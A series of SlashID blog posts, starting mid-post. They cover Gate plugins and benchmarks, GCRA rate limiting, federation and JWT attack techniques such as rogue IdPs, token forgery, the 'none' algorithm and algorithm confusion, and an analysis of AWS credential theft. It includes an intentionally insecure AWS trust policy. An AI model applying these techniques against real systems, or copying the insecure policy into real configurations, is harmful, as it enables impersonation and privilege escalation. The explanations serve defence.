  0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0
* Connection #0 to host gate left intact
/usr/server/app $

Running in monitoring mode

Just like the PII detection plugin, the OPA plugin also supports monitoring mode by adding monitoring_mode: true in its parameters as shown below:

    - id: authz_allow_if_authed_pii
      type: opa
      enabled: true
      intercept: response
      parameters:
        <<: *slashid_config
        monitoring_mode: true
        policy_decision_path: /authz/allow
        policy: |
          package authz

          import future.keywords.if

          default allow := false

          key_found(obj, key) if { obj[key] }

          jwks_request := http.send({
              "cache": true,
              "method": "GET",
              "url": "https://api.slashid.com/.well-known/jwks.json"
          })
          valid_signature if io.jwt.verify_rs256(input.request.token, jwks_request.raw_body)

          allow if not key_found(input.response.http.headers, "X-Gate-Anonymize-1")
          allow if valid_signature

Let's send a request with an invalid token:

curl -H "Authorization: Bearer abc" 'http://gate:8080/api/get_user/?email=test@example.com' | jq
{
  "email": "test@example.com",
  "id": 1,
  "name": "Test User"
}

The request passes but Gate logs the policy violation:

gate-demo-gate-1        | time=2023-09-04T13:37:06Z level=info msg=OPA decision: false decision_id=d9b20a8d-da43-4786-ae15-1ec91199786d decision_provenance={0.55.0 19fc439d01c8d667b128606390ad2cb9ded04b16-dirty 2023-09-02T15:18:29Z   map[gate:{}]} plugin=opa req_path=/api/get_user/ request_host=gate:8080 request_url=/api/get_user/?email=test%40example.com

Performance

Performance is key when intercepting and modifying network traffic, our plugins were built for high performance in mind. For instance we embed an optimized version a rego interpreter vs standing up a separate OPA server.

Let's look at a simple benchmark to see the impact of the two plugins on the network traffic.

Here's a simple benchmarking script:

#!/bin/sh
iterations=$1
url=$2

echo "Running $iterations iterations for curl $url"
totaltime=0.0

for run in $(seq 1 $iterations)
do
 time=$(curl $url \
    -s -o /dev/null -w "%{time_total}")
 totaltime=$(echo "$totaltime" + "$time" | bc)
done

avgtimeMs=$(echo "scale=4; 1000*$totaltime/$iterations" | bc)

echo "Averaged $avgtimeMs ms in $iterations iterations"

In our demo, a request without any interception results in the following:

/usr/server/app $ ./benchmark.sh 10000 'http://gate:8080/api/get_user/?email=test@example.com'
Running 10000 iterations for curl http://gate:8080/api/get_user/?email=test@example.com
Averaged 1.1820 ms in 10000 iterations
/usr/server/app $

When we enable PII detection and rewriting (hashing of the email address) coupled with our caching plugin:

/usr/server/app $ ./benchmark.sh 10000 'http://gate:8080/api/get_user/?email=test@example.com'
Running 10000 iterations for curl http://gate:8080/api/get_user/?email=test@example.com
Averaged 1.5955 ms in 10000 iterations
/usr/server/app $

Next, we test PII detection in monitoring mode:

/usr/server/app $ ./benchmark.sh 10000 'http://gate:8080/api/get_user/?email=test@example.com'
Running 10000 iterations for curl http://gate:8080/api/get_user/?email=test@example.com
Averaged 1.5176 ms in 10000 iterations
/usr/server/app $

Last, let's run PII detection in monitoring mode coupled with OPA like we did in the example in the previous section:

/usr/server/app $ ./benchmark.sh 10000 'http://gate:8080/api/get_user/?email=test@example.com'
Running 10000 iterations for curl http://gate:8080/api/get_user/?email=test@example.com
Averaged 1.8532 ms in 10000 iterations
/usr/server/app $

Thanks to a combination of our caching plugin and Gate’s own architecture, the average overhead in our toy application is 0.6712 ms when both OPA and PII detections are turned on.

Conclusion

In this blogpost we've shown how you can combine the Gate PII and OPA plugins to easily detect and prevent PII leakage.

We’d love to hear any feedback you may have! Try out Gate with a free account. If you'd like to use the PII detection plugin, please contact us at at contact@slashid.dev!

Rate Limiting for Large-scale, Distributed Applications and APIs Using GCRA

Paulo Costa, Vincenzo Iozzo — Mon, 16 Oct 2023 00:00:00 GMT

Introduction

Guaranteeing high availability is a key aspect of API security. At a high level, a rate limiter governs how many requests a given entity (e.g., a user or an IP address) can issue in a specific window of time (e.g., 200 requests per minute).

If you’re a company building web applications and APIs at large scale, a good rate limiter can prevent users and bots from harming your website’s availability with a spate of requests while also stopping spam, DDoS, scraping, and credential stuffing attacks.

For modern applications it is key for any rate limiter to have the following additional features:

Support for distributed rate limiting across microservices
Does not appreciably slow down web requests
Block/limit requests based on the identity of the request and not just the IP address
Have granular control over which endpoints are rate limited
Have different rate limits for different groups of customers depending on certain factors (e.g., subscription tier)

On top of the characteristics above, our implementation of rate limiting has several further advantages:

It supports multiple limits at the same time instead of a single one (see below for a real world example)
It supports multiple storage backends depending on performance and accuracy requirements
It supports the ability to use JSONPath to enforce rate limiting based on any part of the request, including JSON Web Token (JWT) claims
It supports a webhook for more complex identity-based rate limiting logic
It supports throttling, so requests are delayed rather than simply blocked

Gate is our identity-aware edge authorizer to protect APIs and workloads that implements the rate limiting plugin we'll describe below.

You can find more about Gate in the developer portal.

Background: Common rate limiting approaches

The most common rate limiting algorithms are:

Fixed window counters
Sliding window log
Token bucket
Leaky bucket

Fixed window counters

In this algorithm, the rate limiter divides time into fixed windows per user and maps incoming events into these windows. If a user exceeds the allowed number of requests in a given window, the remaining requests are dropped.

Implementation is straightforward - for each user/IP address:

The rate limiter splits the timeline into fixed-size time windows and assigns a counter for each window
Each request increments the counter by one in the relevant window
Once the counter reaches the pre-defined threshold, new requests are dropped until a new time window starts.

This algorithm is rarely seen in the wild but it creates the foundation for the others we'll discuss below. Fixed window counters is the most easily scalable rate limiter and can be implemented with an atomic increment-and-get operation (e.g., INCR command on Redis), unlike other algorithms that require multiple steps and therefore each check needs to be performed sequentially.

The main issue with this algorithm is that it can be gamed by spiking traffic at the end of each window. In other words, since the windows are fixed, an attacker can use the fixed window and shift his request patterns by a certain delta to, in the worst case, double the allowed number of requests per window.

For instance, if the rate limiter allows a maximum of 1000 requests for each one-minute window, then 1000 requests between 1:00:00 and 1:01:00 are allowed and 1000 more are allowed between 1:01:00 and 1:02:00. However, if all the requests are sent between 1:00:30 and 1:01:30, 2000 requests will be allowed in a one-minute interval.

Sliding window log

The sliding window log is another approach that addresses this issues of fixed window counters. In this algorithm, the rate limiter tracks a timestamped log for each user request. These logs are usually stored in a hash set or table that is sorted by time. Logs with older timestamps outside the window are discarded. When a new request comes in, the rate limiter counts the logs for that user to determine the request rate. If the request exceeds the threshold rate, then it is discarded.

The advantage of this algorithm is that it does not suffer from the boundary conditions of fixed windows. The disadvantage is that it is very memory inefficient.

Token Bucket

Wikipedia has a good explanation of the algorithm. Conceptually the idea is that you allow requests through until the "bucket" for that user is empty and when that happens you discard further requests until the bucket is refilled.

Practically, for each user/IP address you keep track of, you would save the request timestamp and available token count.

Whenever a new request arrives from a user, the rate limiter fetches the timestamp and available token count based on a chosen refill rate. Then, it updates the tuple for the user with the current request’s timestamp and the new available token count - in other words, the delta between the last timestamp and the current one dictates how many extra tokens should be added to the bucket. When the available token count drops to zero, the rate limiter knows the user has exceeded the limit.

The key benefit of this algorithm is that its memory footprint is extremely limited and its speed of execution is very fast. However depending on the implementation atomicity is hard to guarantee which could lead to some requests evading the limit.

Leaky Bucket

This algorithm is similar to the token bucket. When a request is registered, it is appended to the end of a queue. At a regular interval, the first item in the queue is processed. If the queue is full, then additional requests are discarded (leaked).

The advantage of this algorithm compared to the token bucket is that it smooths out bursts of requests and processes them at an approximately constant rate.

The disadvantage is that it's hard to implement in a distributed setting and it's hard to guarantee atomicity in this case as well.

The rate limiting implementation in Gate

Chosen algorithm: Generic cell rate algorithm

For our implementation, we decided to use the generic cell rate algorithm (GCRA), which is a token bucket-like algorithm.

In GCRA the algorithm calculates the timestamp of the next predicted arrival time (called Theoretical Arrival Time) for a request based on the configuration parameters. If the request is early (i.e., non-compliant), the request can either be discarded or marked for potential discard downstream, depending on the rate limiter policies.

There are several advantages to GCRA over the other algorithms discussed:

Memory efficiency and speed: Rather than physically counting tokens, the timestamp-based method keeps track of the theoretical arrival time (TAT) for the next compliant request. When a request arrives, its arrival time is compared with the TAT. If it's before the TAT, the request is non-compliant, and if it's on or after the TAT, the request is compliant. The TAT is then updated based on the interarrival time. Contrary to queue based approaches, this is significantly more memory-efficient without the fixed windows drawbacks,
Precision: In GCRA, the exact moment when the next request will be allowed is known.
Double Rate Parameters: GCRA is described with two parameters: a burst rate and a sustained rate. This allows control over both the frequency of requests and the maximum number of requests that can be executed at once.
Custom parameters per endpoint: GCRA allows to specificy different policies for different endpoints. For example, given "/api/op1" and "/api/op2", op1 can be limited to 60 ops/minute and op2, being more expensive, can be limited to 5 ops/minute. You just need to guarantee that the burst / rate (i.e., window size) remains constant when reusing the same ratelimiter

State storage

One key consideration when deciding on state storage is atomicity. As we described in the sections above, certain algorithms (including GCRA) are hard to implement atomically, because more than one operation has to be performed in order to calculate the rate limit. For instance, in a naive implementation of the token bucket, if multiple requests arrive at a very close interval, non-atomicity implies a race condition between the rate limiting updating the bucket for the two requests, potentially resulting in a request above the limit passing through. The bigger the delta between the operation, (e.g., fetching the data and updating it), the easier it is to trigger such a race condition.

To address the atomicity problem, we have implemented two approaches using Redis. The first is a C++ Redis module and the second is a Lua script for Redis. In both instances, Redis guarantees the atomicity of execution.

Gate supports several storage options to keep track of the rate limiter state:

In memory: Highest performance but only usable in single-process scenarios
Redis module: Can be distributed and has the best performance of the non-volatile options, but requires the installation of a module in Redis
Redis Lua script: Best trade-off between performance and easy Redis setup
Non-atomic Redis: Executes the rate limiting logic in Gate while persisting state in Redis. It is non-atomic and may sometimes exceed the desired rate limit. Only use this if you need to keep your Redis server free of custom code.

Rate limit request fields

It is often necessary to apply independent limits per user (or groups, or any other criteria). To achieve this, the rate limit plugin supports the <Limit Request Field> option. This can be used to specify a JSONPath, which will be used to retrieve the additional information necessary to differentiate between requests.

A few typical examples for the <Limit Request Field> JSONPath selector:

$.request.http.headers['X-User-Id'][0]: Retrieves a user ID from a custom header
$.request.http.cookies['user-id']: Retrieves a user ID from a cookie
$.request.parsed_token.payload.sub: Retrieves a user ID from the sub claim in a JWT.

Map limit endpoint

For more complex scenarios you can use the map limit endpoint. If specified, for every incoming request the rate limiter plugin will make a GET request to the specified endpoint. The method, path and headers of the original request are forwarded to the mapping endpoint.

The response must be HTTP 200 (OK) and must be JSON-formatted. For example:

{
  "limits": [
    {
      "key": "users/john.smith",
      "comment": "username",
      "interval": 0.1, // In seconds. Use either interval or burst
      //"burst":      10,  // Use either interval or burst
      "window": 1, // In seconds
      "max_throttle": 5 // In seconds
    }
  ]
}

You can read more about the rate limit request field configuration in our developer portal

Monitoring Mode

By default, this plugin will automatically reject excessive requests with HTTP error 429 (Too Many Requests), and will automatically sleep before completing the request if throttling is necessary. The plugin will also add headers that you can use to get info about the rate-limiting result.

However, it is possible to let the request go through by enabling monitoring mode. It is then up to your request handler to decide how to proceed when the rate limit is exceeded or requires throttling. This allows to implement "shadow ban" like functionality where an attacker continues to receive a 200 HTTP response code but behind the scenes the rate limiter stopped sending real data after they exceeded the rate limit.

A brief example

Let's see a Gate configuration example to get a concrete feel of the rate limiter:

gate:
  plugins:
    - id: ratelimit
      type: ratelimit
      enabled: false
      parameters:
        limiter:
          type: redis_lua
          address: redis:6379
        limits:
          - key: global
            comment: global rate
            burst: 10000
            window: 1s
          - key: username
            comment: Username
            burst: 600
            window: 1m
            max_throttle: 3s
            request_field: $.request.http.cookies['username']

  urls:
    - pattern: '*/hello'
      target: http://backend:8000
      plugins:
        ratelimit:
          enabled: true

Breaking this down, the first part of the configuration tells Gate that the state storage mode is Redis with the Lua script:

gate:
  plugins:
    - id: ratelimit
      type: ratelimit
      enabled: false
      parameters:
        limiter:
          type: redis_lua
          address: redis:6379

We then proceed to specify the keys on which the rate limiter should operate. In our case we specify a global rate and a rate based on the username of a user:

    limits:
        - key: global
        comment: global rate
        burst: 10000
        window: 1s
        max_throttle: 1s
        - key: username
        comment: Username
        burst: 600
        window: 1m
        max_throttle: 3s
        request_field: $.request.http.cookies['username']

In the global case we define a window of 1 second and a burst of 10,000 requests per time window, whereas in the username case we limit the burst to 600 requests per minute. We throttle requests (before discarding them) for 1 second in the global case and 3 seconds in the username case. Lastly, we tell the rate limiter to locate the username field in $.request.http.cookies['username'].

Finally, we enable the plugin on the "*/hello" endpoint:

- pattern: '*/hello'
  target: http://backend:8000
  plugins:
    ratelimit:
      enabled: true

Performance

Benchmarking the above example on an AMD Ryzen 7 5800X for 30 seconds on localhost with a single instance of Gate, we observe the following:

The slowdown incurred by interposing a service between the request and the backend serving “/hello” is approximately 244us and adding the rate limiter adds a further 356 us on top. The rate limiter processes 13,180 requests per seconds.

What happens when the server is maxed out and fully loaded?

The slowdown caused by the rate limiter goes up to 13ms when all CPUs are busy. In terms of request per seconds, the rate limiter can process 26,542 as a single instance.

While it's important to compare performance with the system under strain, in the real world, the gate instances would autoscale hence using the data from 10 client threads is a more realistic depiction of how the rate limiter would behave in practice.

Conclusion

Modern rate limiting is a key asset to protect against spam and bots. In this brief blog post, we've discussed the most common implementations of rate limiting and our custom one in Gate.

We’d love to hear any feedback you may have. Please contact us at contact@slashid.dev! Try out SlashID with a free account.

Identity Security: The problem(s) with federation

Vincenzo Iozzo, SlashID Team — Mon, 30 Sep 2024 00:00:00 GMT

The last blog post explored non-human identity (NHI) security challenges, identifying identity federation as a major attack vector. Today, we’ll take a deeper look into federation-based threats, drawing on public research and historical breaches.

Notably, threat groups like APT29 and Scattered Spider frequently employ these techniques to maintain persistence and escalate privileges within their victims' environments.

Identity federation vulnerabilities impact both users and non-human identities, and this post will address both as the attack vectors are often similar.

What is identity federation?

At its core, identity federation allows multiple services to perform access control by trusting an authentication performed by a different service (generally the identity provider). This diagram offers a schematic representation of the process:

The three most common protocols that allow identity federation are:

Security Assertion Markup Language (SAML)
Kerberos
OpenID Connect (OIDC)

Federation can occur between a variety of applications; for example, between an IdP and a third-party SaaS provider like AWS or Snowflake, or even between two IdPs (e.g., Active Directory to Entra, or Entra to Okta). A frequent use case is your CI/CD platform (e.g., GitHub) federating with a cloud service provider (CSP) to deploy code.

While the underlying protocols are complex, the key takeaway is that federating trust opens new avenues for attacks, especially if the federated relationships are exploited.

What are the threat vectors?

At a very high level, most of the federation issues can be seen as variations of the confused deputy problem. In other words: by delegating trust, we open up to an attack scenario where the adversary can compromise the IdP or install a fake IdP and leverage it to breach or maintain persistence in any environment that trusts the IdP. Note that this vulnerability is often transitive; for instance, if AWS is federated with Okta and Okta is federated with AD, compromising AD can lead to a breach in AWS.

These known attack patterns have also been observed involving federation:

Rogue federation
Token forgery
Federation misconfiguration

The following sections describe an example of each attack pattern.

Example 1: Scattered Spider’s rogue federation attack on Okta

Scattered Spider is one of the most prolific attackers when it comes to Okta-related intrusions. Scattered Spider's approach is often very simple: first, they compromise a privileged Okta account via MFA fatigue and phishing, then, they proceed to persist in the system by adding a rogue federated IdP into Okta. Once the rogue IdP is registered, the attacker can log in as an existing Okta user into any application the user has access to. Note that because the IdP is attacker-controlled, they can impersonate any identity of their choice.

This video from Adam Chester shows a proof of concept of the attack leveraging SAML for federation.

Thankfully this attack is also reasonably easy to detect, since Okta emits an event when a new IdP is federated(system.idp.lifecycle.created) and it's a low frequency event.

A variant of this attack worth mentioning leverages a valid compromised account in the IdP to breach a user in a third-party application. The attack happens by changing the login/username of the compromised user in Okta to a valid user in the third-party application.

For instance, let's imagine a compromised Okta user account called user_A and a different Salesforce user admin@acme.com. The attacker can change the email address of user_A to appear as admin@acme.com when federated into Salesforce and hence impersonate the admin account without having access to it.

In Okta, you can monitor for the application.user_membership.change_username event. While not very common, it is a valid action sometimes used for governance purposes by IT teams and therefore it is important to monitor the event in combination with other contextual indicators.

Example 2: Token forgery – a quieter approach

The less noisy way to achieve the same goal is via token forgery. This attack has different names in different environments, the most famous one being "Golden Ticket" in the context of Kerberos and Active Directory. However, this attack is not restricted to any one specific protocol or IdP as it's based on compromising the key used to generate authentication tokens.

In most federation mechanisms, trust between systems is established by registering a certificate or public key representing a third-party federated system. Once that's done, an application can verify the authenticity of an incoming token by verifying its signature.

An attacker able to compromise the signing keys of an IdP is thus able to forge arbitrary tokens and impersonate any user within the system.

Several high-profile attacks employed token forgery. For instance, both the MGM Resorts hack and the Sunburst APT29 campaign leveraged token forgery to move laterally and breakout.

As mentioned, there are several variations of this attack but two common ones are:

Compromise an on-prem Active Directory domain controller and take advantage of identity federation to move laterally to Entra or to another system in the cloud
Add a rogue certificate or key pair to a legitimate federated IdP

Unfortunately, detecting token forgery is much harder than detecting a rogue IdP. Detection requires monitoring anomalous tokens and early detection of high risk indicators consistent with a potential breach.

Token forgery attacks are extremely powerful both because they are harder to detect and because they allow the impersonation of any identity.

Example 3: Federation misconfiguration

Federation can also introduce risk due to misconfigurations, especially in cloud environments.

Taking AWS as an example, every role has a role trust policy that defines who can assume the role and as a result perform any action the role is entitled to. The most trivial example of a role trust policy looks like this:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

In the policy above, any AWS account within the same account identity can assume the role.

It is also possible to authenticate to a role through an external identity via two actions: sts:AssumeRoleWithWebIdentity and sts:AssumeRoleWithSAML. The former is used for OIDC and web providers and the latter for SAML

Writing secure policies is far from trivial; consider for example:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/40D159CDF6F2349B68846BEC03BE0428"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "oidc.eks.us-east-1.amazonaws.com/id/40D159CDF6F2349B68846BEC03BE0428:aud": "sts.amazonaws.com"
        }
      }
    }
  ]
}

In the role trust policy above, only an EKS cluster with id 40D159CDF6F2349B68846BEC03BE0428 can assume the role via AssumeRoleWithWebIdentity. However, the policy does not specify which identities can assume the role, which means that any valid access token is going to be able to assume the role.

These issues are present both for AWS-emitted tokens as well as token emitted by third-party IdPs that are registered with AWS (e.g., Github).

Similary to token forgery, there is not simple way to detect these issues and thus a comprehesive, contextual approach is necessary.

Conclusion

This blog post reviewed why identity federation is yet another source of identity-related breaches. SlashID can detect and automatically respond to the federation attacks shown above! If you are concerned about these attack vectors, talk to us to schedule a free Identity Security Assessment.

A deep dive in the AWS credential leaks reported by Palo Alto Networks

Vincenzo Iozzo, SlashID Team — Thu, 22 Aug 2024 00:00:00 GMT

Introduction

Palo Alto Unit 42 discovered a large-scale campaign siphoning API keys and access tokens from exposed .env files in Amazon Web Services (AWS) domains. The attacker seemed financially motivated and ultimately tried to ransom victims by deleting objects from their S3 buckets.

These attacks are becoming increasingly prevalent and prove once again that today stolen credentials are the most common attack vector for initial access.

Palo Alto wrote about the breach in detail, in this blog post we will focus on the identity component of the attack and how an identity protection framework can keep your data safe.

SlashID can help detect and remediate these attacks before the attacker has a chance to break out and cause damage.

Some Stats

Palo Alto discovered over 90,000 unique environment variables leaked through exposed files, which contained access keys or IAM credentials. Of these, the top cloud and SaaS platforms identified were:

1185 AWS access keys
333 Paypal Oauth 2.0 credentials
235 GitHub credentials
111 HubSpot API keys
39 Slack webhooks
27 Digital Ocean tokens

Identity Anatomy of the Attack

Step 1: Initial Recon and Target Discovery

The attacker used Tor to perform the initial large-scale .env file recon, relying on extensive automation techniques to probe over 230 million unique targets. Once the credentials were obtained, the threat actor relayed on virtual private networks (VPNs) and virtual private servers (VPSs) for lateral movement and further steps of the attack campaign.

After stealing variables and credentials from the .env files, the attacker exploited several well-known AWS APIs to learn more about the environment and to identify targets to exploit; in particular:

GetCallerIdentity
ListUsers
ListBuckets

Step 2: Privilege Escalation

After the target discovery phase, the attacker used the CreateRole API to create a new IAM role named lambda-ex. Then, they were able to attach to it the AWS-managed AdministratorAccess policy with an AttachRolePolicy API call, thus granting access to all resources within the AWS account.

Step 3: Code Execution

The attacker tried several methods to create the infrastructure stack needed to execute malicious code, failing with EC2 but ultimately succeeding in creating multiple lambda functions with AWS Lambda. The lambda functions, attached to the newly created lambda-ex IAM role, were then used to perform internet-wide scanning looking for more unprotected .env files.

Detection, Response, and Prevention

Detection

Writing detection queries is a tricky art because distinguishing signal from noise is often not trivial.

We believe that an identity-first approach is the easiest path to detection. In particular, the Unit 42 research showed that Tor was used to perform the initial recon and target discovery. While noisy, looking for GetCallerIdentity and ListUsers in combination with known-bad or suspicious IP addresses could have helped detect the attack early on.

The privilege escalation step in the chain is one of the higher signal operations that the attacker performed was the combination of CreateRole with AttachRolePolicy using AdministratorAccess as the selected policy. Coupled with appropriate identity posture management, this set of API calls makes for a solid, high-quality, detection.

Response

Prompt remediation is key to avoid attackers breaking out and, in this case, destroying the content of S3 buckets for ransom. In this case, the blast radius could have been reduced by:

Rotating credentials on detection of GetCallerIdentity or ListUsers API calls from known-bad or suspicious IP addresses;
Flagging or suspending the newly-created role based on the highly privileged policy requested.

Prevention

As Palo Alto highlighted in their article, good hygiene goes a long way to preventing these kinds of attacks. Organizations can deploy several countermeasures early on to reduce the risk of a breach and reduce the blast radius if a breach happens:

Avoid using long-lived credentials
Adopt least-privilege and limit the number of identities that can escalate privileges (e.g., that can call AttachRolePolicy)

How SlashID Helps

SlashID Identity Protection can detect and respond to these identity-based attacks by running automatic remediation workflows following a detection trigger. For instance, you can automatically rotate credentials if they are used by a malicious IP address or suspend and delete an identity if it is created with high privileges.

Last, SlashID can help enforce the least privilege by detecting over-privileged identities that can be exploited for privilege escalation attack techniques.

Contact us to schedule a free Identity Protection assessment and understand how SlashID can help secure your environment.

React SDK support for

Ivan Kovic, Vincenzo Iozzo — Thu, 09 Feb 2023 00:00:00 GMT

Introduction

With the latest React SDK release we are introducing a new control component: <Groups>. Using <Groups>, you can conditionally render parts of the UI depending on whether the authenticated user belongs to specific Groups.

Read on to learn how to use this feature to implement role based access control (RBAC) in your frontend!

SlashID groups in a nutshell

Groups are named sets of Persons and can be thought of as roles in an RBAC context.

You can create any number of groups, and a Person can belong to multiple Groups.

When a Person authenticates with SlashID in your frontend, you receive back a token that includes a claim with the Groups the Person belongs to. The name of the claim is ‘groups’ by default and can be customized as part of your Organization’s configuration. As discussed in our last blogpost, SlashID can also pull groups from a third-party identity provider, such as Google.

Each SlashID customer is a tenant with one or more organizations. Groups can be either:

Specific to Organizations; or
Shared across multiple Organizations.

In the second case, Group names are visible to all relevant Organizations through the Groups API, but Group membership is Organization-specific.

We’ll discuss sub-organizations and group propagation in a separate blogpost, but for now let’s show an example of Organization-specific Groups.

Create a Group called admin in test_organization_1:

curl -L -X POST 'https://api.sandbox.slashid.com/groups' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: f978a6bd-adcb-3268-2312-573d0bad155d' \
-H 'SlashID-API-Key: ri6qRvmuLc1IlUeQm732126WvAHUIHUIO=' \

--data-raw '{
 "name": "admin",
 "description": "special access"
}'

Add a Person, specified by uuid, to the admin Group:

curl -L -X POST 'https://api.sandbox.slashid.com/groups/admin/persons' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: f978a6bd-adcb-3268-2312-573d0bad155d' \
-H 'SlashID-API-Key: ri6qRvmuLc1IlUeQm732126WvAHUIHUIO=' \
--data-raw '{
 "persons": [
"217b3e73-b0bb-4387-8ea4-85c8f2d04c93"
 ]
}'```

3. When the Person with that `id` authenticates with `test_organization_1`, the token will include a claim:

```json
“groups”: [“admin”]

Any app consuming the token will then be able to take appropriate actions based on the Groups (e.g., visualizing sensitive information, modifying third-party data and so on ).

Check out our documentation for more information on Groups.

Write your own rendering rules

Now that you set up your Groups, you can implement Group-based conditional rendering in your application. When a Person authenticates, they get back a Person token. SlashID embeds the list of Group names the Person belongs to in that token. Since SlashID SDK keeps the Person token in memory, you can get information on the client side synchronously, without starting a network call.

Group-based conditional rendering is demonstrated in the following code snippet. There we want to render some content only if the authenticated Person belongs to the admin group. We pass that content as children to <Groups>:

import { Groups } from '@slashid/react'

function Component() {
  const belongsToAdmin = React.useCallback(
    (groups) => groups.includes('admin'),
    []
  )

  return <Groups belongsTo={belongsToAdmin}>Only visible for admins.</Groups>
}

You also need to pass the belongsTo callback prop - let’s look into that in more detail.

Specifying the belongsTo callback

In order to determine whether child components should be rendered, you must specify a belongsTo callback. This function will be called by the <Groups> component, passing the list of groups the user belongs to as the argument.

const belongsToAdmin = React.useCallback(
  (groups) => groups.includes('admin'),
  []
)

This makes <Groups> very flexible: you can specify fine-grained business rules in the callback. It just needs to return a boolean value determining if the child components will be rendered or not. We recommend you memoize the callback using React.useCallback in order to minimize the number of re-renders.

For a more detailed example, please check this codesandbox.

Conclusion

In this blogpost we’ve shown how you can use the <Groups> component to implement a simple RBAC-like web application.

We have a lot more to come on Authorization, please stay tuned!

JWT Implementation Pitfalls, Security Threats, and Our Approach to Mitigate Them

Vincenzo Iozzo, SlashID Team — Thu, 21 Sep 2023 00:00:00 GMT

JSON Web Tokens

There are many excellent introductions to JWTs, so for the purposes of this discussion we will focus on the structure.

JWTs are typically transmitted as base-64 encoded strings, and are composed of three parts separated by periods:

A header containing metadata about the token itself
The payload, a JSON-formatted set of claims
A signature that can be used to verify the contents of the payload

For example, this JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvZSBTbGFzaElEIiwiaWF0IjoxNTE2MjM5MDIyfQ.4cL42NsNCXLPEvmvNGxHN3wLuarpp98wwezHnSt2fqg

comprises the following parts

Part	Encoded value	Decoded value	Description
Header	eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9	{ "alg": "HS256", "typ": "JWT"}	Indicates that this is a JWT and that it was hashed with the HS256 algorithm (HMAC using SHA-256)
Payload	eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvZSBTbGFzaElEIiwiaWF0IjoxNTE2MjM5MDIyfQ	{"sub": "1234567890", "name": "SlashID User", "iat": 1516239022}	Payload with claims about a user and the token
Signature	4cL42NsNCXLPEvmvNGxHN3wLuarpp98wwezHnSt2fqg	N/A	The signature generated using the HS256 algorithm that verifies the payload

</div>

The important aspect of this is that the JWT is signed, meaning that the claims in the payload can be verified, if one has access to the appropriate cryptographic key.

The algorithm used for the signature is stored in the Header (alg) and as we'll see later in the article, this becomes the source of a lot of issues with JWTs.

The signature of a JWT token is calculated as follows:

signAndhash(base64UrlEncode(header) + '.' + base64UrlEncode(payload))

Where signAndhash is the signing and hashing algorithms specified in the alg header field. The JOSE IANA page contains the list of supported algorithms.

In the example above HS256 stands for HMAC using SHA-256 and the secret is a 256-bit key.

Signing is not the same as encryption - even without the cryptographic key for verifying, anybody can decode the token payload and inspect the contents.

Naming convention

There are many standards associated with JWTs, it is useful to clarify a few different formats as we'll use them throughout the article.

JWT (JSON Web Token): JSON-based claims format using JOSE for protection

JOSE (Javascript Object Signing and Encryption): set of open standards, including:

JWS (JSON Web Signature): JOSE standard for cryptographic authentication
JWE (JSON Web Encryption): JOSE standard for encryption
JWA (JSON Web Algorithms): cryptographic algorithms for use in JWS/JWE
JWK (JSON Web Keys): JSON-based format to represent JOSE keys

The JWT specification is relatively limited as it only defines the format for representing information ("claims") as a JSON object that can be transferred between two parties. In practice, the JWT spec is extended by both the JSON Web Signature (JWS) and JSON Web Encryption (JWE) specifications, which define concrete ways of actually implementing JWTs.

Anatomy of a JWT-related bug

A key aspect of JWTs, and one of the reasons why they have become so popular, is that they can be used in a stateless manner. In other words, the server doesn't store a copy of the JWTs it mints. As a result, to check the validity of the token both the client and the server need to verify their signature. The validity of the signature is how we prove the integrity of the token.

Generally vulnerabilities in JWT implementations rely on either a failure to validate a token signature, a signature bypass, or a weak/insecure secret used to encrypt or sign a token.

Fundamentally three design choices make JWT implementations prone to issues:

Deciding the decryption/validation algorithm based on untrusted ciphertext
Allowing broken algorithms (RSA PKCS#1 v1.5 encryption) and "none"
Allowing for very complex signing options. For instance, supporting X.509 Certificate Chain.

Let's see some of the most common issues with JWTs.

The "none" Algorithm

The none algorithm is intended to be used for situations where the integrity of the token has already been verified. Unfortunately, some libraries treat tokens signed with the none algorithm as a valid token with a verified signature. This would allow an attacker to bypass signature checks and mint valid JWT tokens.

Solution: Always sanitize the alg field and reject tokens signed with the none algorithm.

"Billion hashes attack"

Tervoort recently disclosed at Black Hat a new attack pattern.

JWT tokens support various families of PBES2 as signing/encryption algorithms. The p2c header parameter is required when using PBES2 and it is used to specify the PBKDF2 iteration count.

An unauthenticated attacker could use the parameter to DoS a server by specifing a very large p2c value resulting in billions of hashing function iterations per verification attempt.

Solution: Always sanitize the p2c parameter.

Brute-forcing or stealing secret keys

Some signing algorithms, such as HS256 (HMAC + SHA-256), use an arbitrary string as the secret key. It's crucial that this secret can't be easily guessed, brute-forced by an attacker or stolen.

An attacker with the secret key would be able to create JWTs with any header and payload values they like, then use the key to re-sign the token with a valid signature.

Solution: Avoid weak secret keys, implement frequent key rotation.

Algorithm confusion

As discussed, JWTs support a variety of different algorithms (including some broken ones) with significantly different verification processes. Many libraries provide a single, algorithm-agnostic method for verifying signatures. These methods rely on the alg parameter in the token's header to determine the type of verification they should perform.

Problems arise when developers use a generic signature method and assume that it will exclusively handle JWTs signed using an asymmetric algorithm like RS256. Due to this flawed assumption, they may end up in a "type confusion" type of scenario. Specifically, a scenario where the public key of a keypair is used as an HMAC secret for a symmetric cypher instead.

An attacker in this case can send a token signed using a symmetric algorithm like HS256 instead of an asymmetric one. This means that an attacker could sign the token using HS256 and the static public key used by the server to verify signatures, and the server will use the same public key to verify the symmetric signature thus completely bypassing the signature verification process.

Solution: Always verify the alg parameter and ensure that the key passed to the verification function matches the type of algorithm used for the signature.

Key injection/self-signed JWT

Although only the alg parameter is mandatory for a token, JWT headers often contain several other parameters. Some of the more common ones are:

jwk (JSON Web Key) - Provides an embedded JSON object representing the key.
jku (JSON Web Key Set URL) - Provides a URL from which servers can fetch a set of keys to verify signatures.
